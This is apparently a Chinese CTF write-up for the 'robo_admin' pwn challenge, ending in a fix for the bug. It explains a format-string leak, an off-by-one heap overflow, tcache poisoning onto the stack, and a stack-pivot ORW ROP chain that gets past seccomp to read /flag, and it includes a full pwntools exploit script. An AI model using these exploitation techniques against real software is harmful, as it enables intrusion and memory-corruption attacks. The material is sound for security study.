news 2026/4/22 9:03:33

第二届软件系统安全赛 robo_admin 题解

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
第二届软件系统安全赛 robo_admin 题解

题目附件:https://share.weiyun.com/yoghlZi9

程序分析

Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled

题目还开了 seccomp,禁了三个系统调用:

  • open
  • execve
  • execveat

程序有两层菜单,主菜单里最关键的是set_notice/show_status

sub_1447(s,512LL);if(strchr(s,37)||strchr(s,36))puts("[X] raw input contains illegal chars");elseif(sub_1528(s,src,256LL))puts("[X] decode failed");elsememcpy(byte_51C0,src,0x100);
printf("Notice: ");if(dword_52C0){if(dword_52C4)printf("%s",byte_51C0);else{dword_52C4=1;printf(byte_51C0);}}

这里有两个点:

  • 原始输入里不能直接出现%$,但支持\x转义解码,所以可以用\x25\x24还原格式化串
  • printf(byte_51C0)只会执行一次,是一个一次性格式化字符串

管理员菜单的漏洞更直接:

v0=sub_1C1D("Write length :",1LL,qword_5180[idx]+1LL);v7=read(0,heaps[idx],v0);if(qword_5180[idx]<=v7)heaps[idx][qword_5180[idx]-1]=0;elseheaps[idx][v7]=0;

edit允许写到cap + 1,因此可以做到一字节堆溢出。但有两个恶心的限制:

  • 总会补一个\0
  • query又都是按%s打印

再看create

heaps[idx]=malloc(size);memset(heaps[idx],0,size);

这意味着常规的 overlap 泄露并不好做:

  • 新申请的块会被memset清干净
  • 就算 overlap 到了 free chunk,edit补的\0也很容易把字符串截断

所以这题表面是“格式化字符串 + 堆菜单 + off-by-one”,但我觉得难点其实是:memset\0截断同时存在的情况下,怎么稳定读到 free chunk 里的指针数据

漏洞利用

Step1 格式化字符串泄露关键信息

管理员密码不是固定值,而是程序启动时随机生成的两段 8 字节数据:

snprintf(s,0x28uLL,"%016lx%016lx",qword_52D0,qword_52D8);if(!strcmp(s1,"ROBOADMIN")&&!strcmp(v14,s))

所以第一步必须先把 password 泄露出来,看汇编发现show_status函数有把password写到栈上

由于 notice 支持\x解码,我们可以把 payload 写成:

payload=b"\\x256\\x24p \\x257\\x24p \\x2515\\x24p \\x2523\\x24p \\x2514\\x24p"

解码后就是:

%6$p %7$p %15$p %23$p %14$p
  • %6$p%7$p泄露 password 的两半
  • %15$p泄露 PIE
  • %23$p泄露 libc
  • %14$p拿一个栈地址

Step2 分析堆布局

这题登录前会经过 seccomp 初始化,libseccomp 会在堆上留下大量分配/释放痕迹,导致登录之后的 heap 并不干净

这里实际观察到的关键 bin 状态如下

tcache[0x60]: 0x...d2a0 -> 0x...e900 tcache[0x30]: 0x...d300 -> 0x...d460 tcache[0xd0]: 0x...db10 -> 0x...d7e0 -> 0x...d350 tcache[0x40]: 0x...dcd0 -> 0x...d9a0 -> 0x...d670 -> ... unsortbin: 0x5d57ca34d9d0 (size : 0xf0)

发现tcache[0x60][0]tcache[0x30][0]的地址相邻(0xd2a0和0xd300),又发现和tcache[0x30][0]最近的是tcache[0xd0][2](0x…d350),它们中间夹了个0x20大小的fastbin

add(0,"A",0x58)# 0x...d2a0add(1,"B",0x28)# 0x...d300add(2,"C",0xc8)# 0x...db10add(3,"D",0xc8)# 0x...d7e0add(4,"E",0xc8)# 0x...d350add(5,"cls",0x28)# 0x...d460

利用off-by-one修改B的size为0x91,构造chunk overlap

edit(0,0x59,b'A'*0x58+p8(0x91))

真正参与 overlap 的其实只有三块

A: [0x...d290, size=0x60] B: [0x...d2f0, size=0x30] E: [0x...d340, size=0xd0]

修改E的数据域绕过glibc检查

如果把B视为一个0x90chunk,那么:

  • nextchunk = d380
  • nextchunk->sized388
  • 再往后一个 chunk 的sized3a8

所以要先在E里面伪造两个最小合法 chunk 头:

fake_chunk=flat({0x38:p64(0x21),0x58:p64(0x21),},filler=b"\x00",)edit(4,0x60,fake_chunk)

这里顺手还要做以下堆风水:

  • 申请一个稍大的块把unsortedbin清走
  • tcache[0x90]填满,保证 fake0x90chunk 在free时进unsorted
  • 吃掉smallbin[0x60],保证从unsorted切割块
  • 清空tcache[0x30],保证后面malloc(0x28)一定吃到我们 split 出来的 remainder

这里没有走“大块合并 -> unsorted/largebin”那套路线,因为题目限制申请大小< 0x200

Step3 泄露heap基址

free(1)# free fake 0x90(B)add(7,"F",0x40)add(1,"X",0x28)

申请0x40时,对应 chunk size 是0x50,所以 fake0x90chunk 会被切成:

[0x...d2f0, size=0x50] 已分配给 slot7 [0x...d340, size=0x40] remainder

注意这个remainder的 chunk 头正好落在E原来的位置上

申请0x28时,对应 chunk size 是0x30,此时0x40remainder 再 split 只会剩下0x10,不满足最小 chunk 尺寸,因此 glibc 会把整个0x40chunk 返回。于是新的 user 指针就是0x...d350

也就是E的 user 起点

所以这一步结束之后:

  • slot1->desc == 0x...d350
  • slot4->desc == 0x...d350

这一点非常重要,它绕开了这题最烦的两个限制:

  • creatememset新 chunk,残留元数据很难保住
  • edit总会补\0,普通字符串泄露很容易被截断

现在不一样了。后面只要把slot4free 掉,tcache 写进去的fd就会直接落在slot1看到的 user 开头。字符串从泄露数据本身开始,就不会再被前面的\0卡死

tcache[0x40]原本就已经有 6 个节点,头结点是0x...dcd0,所以 freed chunk 开头被写入的是:

fd=(heap_base+0xcd0)^(0x...d350>>12)

读取fd后还原

leak=uu64()z=leak^0xcd0key=0prev=0foriinrange(0,64,12):cur=((z>>i)&0xfff)^prev key|=cur<<i prev=cur heap_base=key<<12

Step4 栈迁移 + ORW ROP收尾

拿到heap_base之后,接下来的事情就简单了。slot1仍然指向刚刚 free 掉的0x40chunk,所以我们可以改它的fd为栈地址,完成任意地址分配到栈

retaddr=stackaddr-0x30edit(1,0x10,p64(retaddr^key))free(5)# 腾出 slot index,和 poison 无关add(5,"tc",0x38)# 取走 headadd(4,"migrate",0x38)# 返回 retaddr

之后

  • 在一块大 chunk 里放 ROP 链
  • 在另一块 chunk 里放/flag
  • 覆盖admin_menu函数的stack contextleave; ret栈迁移

我这里把 ROP 链写在slot3对应的0xc8chunk 里,把/flag写在一块普通缓冲里。由于 seccomp 禁掉了open,所以用openat

elf.address=pie libc.address=libcbase rop=ROP([elf,libc])ropaddr=heap_base+0x7e0flagaddr=heap_base+0xa70edit(6,0x10,b"/flag")rop.raw(p64(0))rop.call("openat",[-100,flagaddr,0])rop.call("read",[3,flagaddr+0x10,0x50])rop.call("write",[1,flagaddr+0x10,0x50])#print(rop.dump())edit(3,0xc8,rop.chain())

栈迁移覆盖内容:

leave_ret=elf.search(asm("leave;ret")).__next__()edit(4,0x38,flat(ropaddr,leave_ret))menu(6)

完整Exp

frompwnimport*importstructdefdebug(c=0):if(c):gdb.attach(p,c)else:gdb.attach(p)defget_addr():returnu64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))defget_sb():returnlibc.sym['system'],next(libc.search(b'/bin/sh\x00'))defrol(value,shift,bits=64):return((value<<shift)&(2**bits-1))|(value>>(bits-shift))sd=lambdadata:p.send(data)sa=lambdatext,data:p.sendafter(text,data)sl=lambdadata:p.sendline(dataifisinstance(data,bytes)elsestr(data).encode())sla=lambdatext,data:p.sendlineafter(text,dataifisinstance(data,bytes)elsestr(data).encode())rc=lambdanum=4096:p.recv(num)ru=lambdatext:p.recvuntil(text)rl=lambda:p.recvline()pr=lambdanum=4096:print(p.recv(num))ia=lambda:p.interactive()l32=lambda:u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))l64=lambda:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))uu32=lambda:u32(p.recv(4).ljust(4,b'\x00'))uu64=lambda:u64(p.recv(6).ljust(8,b'\x00'))uheap=lambda:u64(p.recv(6).ljust(8,b'\x00'))logaddr=lambdas,n:p.success('%s -> 0x%x'%(s,n))context.terminal=['gnome-terminal','-x','sh','-c']file="./pwn"libc="./libc.so.6"deflogin(pwd):sla("> \n",str(3))sla("Token:\n","ROBOADMIN")sla("(32 hex):\n",pwd)ifb"login success"inrl():success("login success!")return1else:print("\033[31mlogin failed!\033[0m")return0defmenu(idx):sla("> ",str(idx))defadd(idx,name,size):menu(1)sla("Index:\n",str(idx))sla("Task name:\n",name)sla("Desc size:\n",str(size))defedit(idx,size,cont):menu(2)sla("Index:\n",str(idx))sla("Write length :",str(size))sa("New desc bytes:",cont)defshow(idx):menu(3)sla("Index:\n",str(idx))ru(" => ")deffree(idx):menu(5)sla("Index:\n",str(idx))context.binary=elf=ELF("./pwn")context.arch="amd64"context.log_level="debug"ifargs.Delse"info"p=process(file)elf=ELF(file,False)libc=ELF(libc,False)payload="\\x256\\x24p \\x257\\x24p \\x2515\\x24p \\x2523\\x24p \\x2514\\x24p"ru("> \n")sl(str(1))sleep(0.5)sl(payload)ru("> \n")#debug("b *$rebase(0x1A4A)")#pause()sl(str(2))ru("Notice: ")leaks=rl().split(b' ')#print(leaks)pwd=leaks[0][2:]+leaks[1][2:]success("password: %s",pwd.decode())pie=int(leaks[2],16)-0x2893libcbase=int(leaks[3],16)-0x29d90stackaddr=int(leaks[4],16)ifnotlogin(pwd):exit(0)add(0,"clear",0x180)# clear unsortedbinfree(0)# fill tcacheforiinrange(7):add(i,f"T{i}",0x80)foriinrange(7):free(i)add(0,"A",0x58)add(1,"B",0x28)add(2,"C",0xc8)add(3,"D",0xc8)add(4,"E",0xc8)add(5,"cls",0x28)add(6,"clear",0x48)# clear smallbinfake_chunk=flat({0x38:p64(0x21),0x58:p64(0x21),},filler=b"\x00",)edit(4,0x60,fake_chunk)edit(0,0x59,b'A'*0x58+p8(0x91))free(1)add(7,"F",0x40)add(1,"X",0x28)free(4)show(1)leak=uu64()z=leak^0xcd0key=0prev=0foriinrange(0,64,12):cur=((z>>i)&0xfff)^prev key|=cur<<i prev=cur heap_base=key<<12logaddr("heapbase",heap_base)logaddr("pie",pie)logaddr("libcbase",libcbase)logaddr("stack",stackaddr)elf.address=pie libc.address=libcbase rop=ROP([elf,libc])ropaddr=heap_base+0x7e0flagaddr=heap_base+0xa70edit(6,0x10,b"/flag")rop.raw(p64(0))rop.call("openat",[-100,flagaddr,0])rop.call("read",[3,flagaddr+0x10,0x50])rop.call("write",[1,flagaddr+0x10,0x50])#print(rop.dump())edit(3,0xc8,rop.chain())leave_ret=elf.search(asm("leave;ret")).__next__()retaddr=stackaddr-0x30edit(1,0x10,p64(retaddr^key))free(5)add(5,"tc",0x38)#debug("b *$rebase(0x2635)")#pause()add(4,"migrate",0x38)edit(4,0x38,flat(ropaddr,leave_ret))menu(6)ia()

漏洞修补

根据题目描述(如下)进行修复的

请同时检查 set_notice() 与 show_status() 两处逻辑;若拦截了解码后的危险字符,错误输出中应包含 “[X] decoded input contains illegal chars”。

对\x转换后的字符进行检查,过滤了%字符,同时将[X] decoded input contains illegal chars字符串写到eh_frame段,修改错误输出为题目要求即可

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/22 9:02:26

产业园区如何实现技术成果的快速对接?

观点作者&#xff1a;科易网-国家科技成果转化&#xff08;厦门&#xff09;示范基地 产业园区作为区域创新的核心载体和经济发展的新引擎&#xff0c;在推动科技成果转化、促进产业升级方面扮演着至关重要的角色。然而&#xff0c;在传统模式下&#xff0c;产业园区在技术成果…

作者头像 李华
网站建设 2026/4/22 9:01:11

5分钟掌握Mermaid Live Editor:实时图表编辑的终极指南

5分钟掌握Mermaid Live Editor&#xff1a;实时图表编辑的终极指南 【免费下载链接】mermaid-live-editor Edit, preview and share mermaid charts/diagrams. New implementation of the live editor. 项目地址: https://gitcode.com/GitHub_Trending/me/mermaid-live-edito…

作者头像 李华
网站建设 2026/4/22 8:59:13

番茄小说下载器完全手册:打造你的个人数字图书馆

番茄小说下载器完全手册&#xff1a;打造你的个人数字图书馆 【免费下载链接】Tomato-Novel-Downloader 番茄小说下载器不精简版 项目地址: https://gitcode.com/gh_mirrors/to/Tomato-Novel-Downloader 还在为不同设备上的阅读进度无法同步而烦恼吗&#xff1f;或者厌倦…

作者头像 李华
网站建设 2026/4/22 8:55:34

深度掌控AMD Ryzen性能:SMUDebugTool硬件调试工具完全指南

深度掌控AMD Ryzen性能&#xff1a;SMUDebugTool硬件调试工具完全指南 【免费下载链接】SMUDebugTool A dedicated tool to help write/read various parameters of Ryzen-based systems, such as manual overclock, SMU, PCI, CPUID, MSR and Power Table. 项目地址: https:…

作者头像 李华
网站建设 2026/4/22 8:53:50

21届智能汽车竞赛数据集修改及测试汇报(WPNIST数据集合)

简 介&#xff1a; 【】针对智能车竞赛走马观碑组数据集过大、识别率低的问题&#xff0c;团队基于原有数据集优化推出WPNIST新数据集。该数据集精选300余张图片&#xff0c;分为武器、物资、载具三大类&#xff08;每类50图&#xff09;&#xff0c;通过删除冗余图片、保留挑战…

作者头像 李华
网站建设 2026/4/22 8:53:03

Sunshine终极指南:三步打造你的家庭游戏流媒体生态

Sunshine终极指南&#xff1a;三步打造你的家庭游戏流媒体生态 【免费下载链接】Sunshine Self-hosted game stream host for Moonlight. 项目地址: https://gitcode.com/GitHub_Trending/su/Sunshine 你是否曾梦想过在客厅电视上畅玩书房的高性能PC游戏&#xff1f;或者…

作者头像 李华